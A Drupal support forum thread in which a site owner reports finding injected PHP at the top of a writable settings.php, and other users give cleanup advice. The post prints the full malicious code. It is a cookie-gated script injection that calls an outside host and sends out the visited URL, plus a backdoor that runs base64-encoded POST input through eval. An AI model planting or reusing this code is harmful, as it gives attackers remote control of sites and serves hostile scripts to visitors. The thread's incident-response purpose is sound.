Closed (fixed)
Project:
Drupal core
Version:
7.8
Component:
other
Priority:
Normal
Category:
Support request
Assigned:
Unassigned
Reporter:
Created:
20 Dec 2011 at 04:18 UTC
Updated:
29 Mar 2012 at 14:50 UTC
Though my mistake initially that i had left settings.php writeable, i noticed header already sent errors ..and upon some research i found that there was this code inserted into settings.php at the very top of it...how criticial can this be?i have now reverted settings.php to read only and deleted the code but hope it hasnt hurt rest of my site security
global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } $sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} }
Comments
Comment #1
vm commentedThis can happen when you leave files unprotected on your install. All files and folder should be checked for other malicious code.
support requests aren't critical and don't assign yourself issues unless you are providing the patch. Thanks.
Comment #2
vm commentedremoving component since this has nothing to do with the DB.
Comment #4
Jorge Campo commentedI got the same code across all my php files.
Please keep in mind that I am just a normal Drupal user while reading the next paragraphs:
I have the code not only in drupal but into other installations such as wordpress and zen gallery. The code was also in the root of my hosting.
The .htaccess file was also hacked. Check the top of the file scrolling to the right and be sure there are no strange redirection code from the search engines to a different webpage:
See if in your database there are "non welcomed" user (there was one in mine).
I am not sure if there is other data infected in the database as well, but I would think it is likely to be the case.
If you have backups of your database you can try to install a clean copy beginning from zero.
In my case, after I installed a brand new copy of just drupal (withouth my "sites" folder), just a little bit later I discovered that I had already a russian user in mysql with a mail.ru email account.
I decided to remove that copy, change the password of my hosting and begin again.
So far, so good, thanks to the backups I had.
I hope it helps.